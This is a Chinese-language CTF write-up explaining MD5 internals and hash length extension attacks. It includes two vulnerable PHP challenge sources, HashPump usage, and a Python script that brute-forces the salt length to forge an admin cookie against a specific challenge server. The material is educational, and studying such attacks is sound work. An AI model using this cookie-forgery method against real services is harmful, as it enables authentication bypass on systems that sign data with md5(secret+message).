hash算法的实现(md5为例)
md5算法的实现如下图:
下面详细来说明一下md5的加密过程:
1. 我们要实现对于字符串abc的 md5 的值计算。首先我们要把其转化为 16 进制.
2. 补位
消息必须进行补位,即使得其长度在对 512 取模后的值为 448。也就是说,len(message) % 512 == 448。当消息长度不满 448 bit 时(注意是位,而不是字符串长度),消息长度达到 448 bit 即可。当然,如果消息长度已经达到 448 bit,也要进行补位。
补位的方式的二进制表示是在消息的后面加上一个1,后面跟着无限个0,直到 len(message) % 512 == 448。在 16 进制下,我们需要在消息后补80,就是 2 进制的10000000。我们把消息abc进行补位到 448 bit,也就是 56 byte。
3. 补长度
补位过后,倒数第8 个字节储存的是补位之前的消息长度。abc是 3 个字母,也就是 3 个字节,24 bit。换算成 16 进制为 0x18。其后跟着 7 个字节的 0x00,把消息补满 64 字节。
4. 计算消息摘要
计算消息摘要必须用补位已经补长度完成之后的消息来进行运算,拿出 512 bit的消息(即64字节)。 计算消息摘要的时候,有一个初始的链变量,用来参与第一轮的运算。MD5 的初始链变量为:
A=0x67452301 B=0xefcdab89 C=0x98badcfe D=0x10325476 (注意这里这4个值是在md5算法中写死的,写死的。。。。)
我们不需要关心计算细节,我们只需要知道经过一次消息摘要后,上面的链变量将会被新的值覆盖,而最后一轮产生的链变量经过高低位互换(如:aabbccdd ->ddccbbaa)后就是我们计算出来的 md5 值。
攻击原理
主要看第四点(计算消息摘要)。这样的话,假设secret只知道位数的话,将其填充成secret1,其中n=hash(secret)=hash(secret1)已知,则hash(secret1+任意数据)都可以求出,因为(secret1+任意数据)会被分为很多组,第一组为secret1,则第一组生成的向量即为n,直接用于接下来的运算即可。所以hash扩展长度攻击我理解就是,已知secret长度和hash值,就可以求出(secret+任意数据)的hash值。
CTF具体例子
已知salt长度
我们以实验吧一道题目为例 题目网址
题目源码如下:
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
思路利用
其中已知sample-hash,即hash(secret+”adminadmin”),这时候构造username=”admin”,password=”admin/x80/00…../00gg”,其中使得secret+username+password恰好分为两组,第一组和secret+adminadmin一样(因为前面求hash(secret+”adminadmin”)时需要填充成hash(secret+”adminadmin”+”/x80/00…”)),第二组为von,这时候求hash(secret+username+password)等价于求hash(von),但是初始向量变成第一组的hash值(已知),然后构造cookie中的getmein提交即可。
利用工具HashPump
安装过程在此略过不表。使用方法为:
# hashpump
Input Signature: 加密值 md5(secret.xxx)
Input Data: 附加值 xxx
Input Key Length: 明文长度 len(secret)
Input Data to Add: 想要添加的值 von
因为题目md5($secret . urldecode($username . $password))所以将\x换成%手动url编码提交,get flag。
未知salt长度
题目网址
在经历了扫描网站,恢复源码等操作后我们得到了网站的源码。
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
这道题和上面一题唯一不同的就是不知道salt的长度。所以要采用python来爆破。代码如下:
import hashpumpy
import urllib
import requests
for i in range(1,30):
m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
print i
url='http://120.26.131.152:32778/'
digest=m[0]
message=urllib.quote(urllib.unquote(m[1])[::-1])
cookie='role='+message+'; hsh='+digest
#print cookie
headers={
'cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}
print headers
re=requests.get(url=url,headers=headers)
print re.text
if "Welcome" in re.text:
print re;
break
参考文章:
https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/
https://xz.aliyun.com/t/2563
https://seaii-blog.com/index.php/2017/05/12/56.html